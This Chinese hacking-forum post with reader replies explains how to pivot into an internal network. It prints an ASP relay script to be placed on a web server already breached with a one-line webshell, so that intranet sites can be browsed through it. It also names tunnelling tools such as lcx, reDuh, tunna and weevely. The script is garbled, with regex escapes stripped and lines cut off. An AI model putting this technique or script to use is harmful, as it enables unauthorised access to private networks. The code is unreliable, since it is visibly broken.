内网环境一般比较复杂,有时候针对内网的渗透会使用各种各样的方法、手段;
我所遇到的内网环境有以下几种(其它的大牛们来补充哈):
情况一:内、外网边界不明;外网可访问内网电脑所有端口,内网可访问互联网。
情况二:内、外网边界稍明;外网只可访问内网电脑指定端口(Web服务端口、VPN端口、远程桌面端口、SSH端口、SMTP、POP3端口、其它特殊服务端口……),内网可访问互联网。
情况三:内、外网边界严明;内网只有少数Web服务器对外开放Web服务端口,其它端口均不能从外网访问,内网可访问外网。
情况四:内、外网边界明确;内网只有少数Web服务器对外开放Web服务端口,其它端口均不能从外网访问,内网不可访问外网。
情况五:内、外网边界极明;内网不连接互联网。
针对情况一,这种内网压根就不算内网,搞起来很简单吧。
针对情况二,使用代理、VPN、3389、SSH……内网也就暴露在你眼前了吧。
针对情况三,使用lcx、reDuh等端口转发的工具,内网也就在你眼前了(要考虑连接质量、风险程度等)。
针对情况三&四,这就是本文适用的内网环境。使用菜刀连接内网中已上一句话的Web服务器/数据库,窥探内网Web页,搜集信息(想让中转程序完美支持注入检测、XSS检测、目录扫描、文件扫描、上传&下载的话代码量巨大,我是不想搞了,能用代理用代理吧。)……
模式图:
针对情况五,在我这里无解,大神现身吧!
当然如果你已经拥有一个Web服务器的权限了,你大可以用一句话连接内网的数据库(何必中转那么麻烦呢?)。只是在内网有些站库一体的服务器要特定的情况下才可以连接数据库。
ASP代码如下:
Error!Your ip ["+ip+"] is not allowed!!");Response.End();} var Surl = String(Request.QueryString("url")); var Stxt = String(Request.QueryString("txt")); var Stype = String(Request.QueryString("type")); var Scst = String(Request.QueryString("cst")); var Scm = String(Request.QueryString("cm")); var Scf = String(Request.QueryString("cf")); var enableCookie = (Scf.charAt(0) == "2"); var enableForm = (Scf.charAt(1) == "2"); if(Stxt != "1" && Stxt != "2") Stxt = "0"; if(Stype != "0" && Stype != "2" && Stype != "3" && Stype != "4") Stype = "1"; if(Scst == "undefined") Scst = "gb2312"; if(Scm != "1" && Scm != "2") Scm = "0"; if(Scf != "11" && Scf != "22" && Scf != "21") Scf = "12"; if(Surl == "undefined" || Surl == ""){ Response.AddHeader("Cookie",""); %>xynu-Normal University
6 && preurl.indexOf(".") > -1 && preurl.match(/.(S?htm|asp|php|jsp|cgi|wml)/i)==null) Stxt = "2";
}
if(Stxt == "2") getRemoteFile()
else Response.Write(send_request());
}
function ConvChinese(x){
var A=x.split("%");
var i,j,DigS,Conv="";
for (i=1;i]+)/)[1];
var init=x+'nn';
init +='nn';
init +='nn';
return init;
}
function send_request() {
var codedtext,http_request;
var Cookie = String("" + Response.Cookies);
try{
if (enableForm && (String(Request.Form)!="undefined")){
if (Scst.match(/^gb/i)!=null){
Response.CodePage = 936;
var Formdata = String(Request.Form).replace(/%Ew%ww%ww/ig,ConvChinese);
Response.CodePage = 65001;
} else {
var Formdata = String(Request.Form);
}
http_request = Server.CreateObject("MSXML2.XMLHTTP");
http_request.Open("POST",Surl,false);
if (enableCookie && (Cookie != "")){
http_request.setRequestHeader("Referer",String(Request.QueryString("parent")));
http_request.setRequestHeader("Cookie",Cookie);
}
http_request.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
http_request.Send(Formdata);
} else {
http_request = Server.CreateObject("Microsoft.XMLHTTP");
http_request.Open("GET",Surl,false);
if (enableCookie && (Cookie != "")){
http_request.setRequestHeader("Referer",String(Request.QueryString("parent")));
http_request.setRequestHeader("Cookie",Cookie);
}
http_request.Send(null);
}
}
catch(e)
{
Response.Write("
Response.Write("
重新输入 后退 ");
Response.Write("刷新 关闭窗口");
Response.End();
}
if (http_request.ReadyState == 4){
//自动判断编码开始
var charresult = http_request.ResponseText.match(/["';s]CharSets*=s*(S+?)["';>s]/i);
if (charresult != null){
var Cset = charresult[1];
Scst = Cset;
}else{Cset = Scst}
//自动判断编码结束
codedtext = bytesToBSTR(http_request.Responsebody,Cset);
Response.AddHeader("Cookie",http_request.getResponseHeader( "Set-Cookie" ));
if(Stype ]+hrefs*=s*(["']?)(http://[^"'s]+?)1[^>]*>/i);
if(baseurl != null) Surl = baseurl[2];
codedtext = codedtext.replace(/
var preurl = String(Request.QueryString("parent"));
var preurl_1 = preurl_2 = (preurl == "undefined" || preurl == "") ? Surl.replace(/[?#].*/,"") : preurl;
var t = preurl_2.lastIndexOf("/");
if(Scm !="1" && t != 6){
if(Scm =="2" || preurl_2.substr(t).indexOf(".") != -1){
preurl_2 = preurl_2.substr(0,preurl_2.lastIndexOf("/"));
}
if(preurl_2.charAt(preurl_2.length-1) == "/"){
preurl_2 = preurl_2.substr(0,preurl_2.length-1);
}
}
// codedtext = codedtext.replace(/%(ww)%/ig,"%25$1%25");
// codedtext = codedtext.replace(/([^&])&(?=[a-z])/ig,"$1%26");
// codedtext = codedtext.replace(/%26(copy|quot|amp|lt|gt|nbsp|raquo|laquo)/ig,"&$1");
if(Stype == 3){
codedtext = codedtext.replace(/(]*(?:href|src))s*=s*(?=[^'"s])/ig,"$1=@");
//codedtext = codedtext.replace(/(]*(?:href|src)s*=s*['"@])?/ig,"$1"+preurl_1+"?");
codedtext = codedtext.replace(/(]*(?:href|src)s*=s*['"@])/?(?!http:/{2})/ig,"$1"+preurl_2+"/");
codedtext = codedtext.replace(/(]*(?:href|src)s*=s*['"@])/ig,"$1?cst="+Scst+"&type=4&txt=1&url=");
codedtext = codedtext.replace(/(href|src)s*=s*@/ig,"$1=");
} else {
codedtext = codedtext.replace(/(]*[s"';](?:href|src|location|url|background))s*=s*(?=[^'"s])/ig,"$1=@");
codedtext = codedtext.replace(/(]*[s"';](?:href|src|location|url|background)s*=s*['"@])?/ig,"$1"+preurl_1+"?");
codedtext = codedtext.replace(/(]*[s"';](?:href|src|location|url|background)s*=s*['"@])/?(?!#|mailto:|javascript:|http:/{2})/ig,"$1"+preurl_2+"/");
codedtext = codedtext.replace(/(]*hrefs*=s*['"@])(?=http:/{2})/ig,"$1?cst="+Scst+"&type=4&txt=1&url=");
codedtext = codedtext.replace(/() | 2013-11-17 17:16
前排卖瓜子
4#
园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-11-17 17:28
@0x0F">0x0F 最近大姨妈来了,头晕。
5#
想要减肥的胖纸 (我想有个工作,往返路程别超过4个小时) | 2013-11-17 17:30
大概看懂楼主想说啥了。其实php可以考虑 用weevely 做代理 然后IE 配置 weevely的代理
菜刀其实用的是IE的代理,然后就达到楼主你说的中转目的。。
linux上可以用 端口转发 socket代理sockcap?加载菜刀
6#
冷冷的夜 (非本人) | 2013-11-17 18:57
情况三一般都用lcx之类,reDuh第四种情况采用,tunna比reduh稳定很多,但是对老版web容器支持不好
7#
tmp | 2013-11-18 01:11
@园长 哈哈哈..这个笑话太冷了...
8#
马丁 (我快要饿死了!!!!) | 2013-11-18 04:21
@VIP 写一个PHP的吧,Webshell中的代码改进一下就行了,我不会PHP啊!
@园长 写一个JSP的吧,Webshell中没有,依你的水平写一个应该不难吧,我不懂Java啊!
9#
charles | 2013-11-18 08:45
我觉得写一个这样的东西应该没问题,但是还是存在各种问题啊。
10#
yexin | 2013-11-18 11:04
已看晕。。
11#
RedFree (才发现了,自己是自己的神器。) | 2013-11-18 11:14
@yexin 拷贝源码一试,一切豁然开朗。前后说的都是废话。
12#
CHForce (带马师) | 2013-11-18 12:19
niubalbleld
13#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-19 15:14
楼主的意思其实相当简单,使用一个http代理脚本,访问内网的网站。
用户 --> web服务器(http代理脚本,抓取/下载) --> 内网网站 --> web服务器(http代理脚本,重新处理所有连接等远程资源的路径) -- > 用户
如此循环。
14#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-11-19 15:15
这种情况下,目测用 tunna、reduh 要更好一点……
15#
shack2 (比较2) | 2013-11-19 18:03
@核攻击 说的很明白了,不过情况4,这个还不是绝对的网络隔离,web对方开放,不能只进数据,不出去数据,80还是有数据出去的
文章来源于lcx.cc:跨过边界防火墙,我拿菜刀砍内网
10月24日到25日期间,我们检测到两起来自”admin@338”(根据攻击的特征,给攻击者起的代号)的鱼叉式网络钓鱼攻击,攻击目标针对多个组织,而且意图非常明显,是为了获取国际贸易,金融,经济政策等方面的资料。这两起攻击使用了不同的恶意软件并且表现出了快速调…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论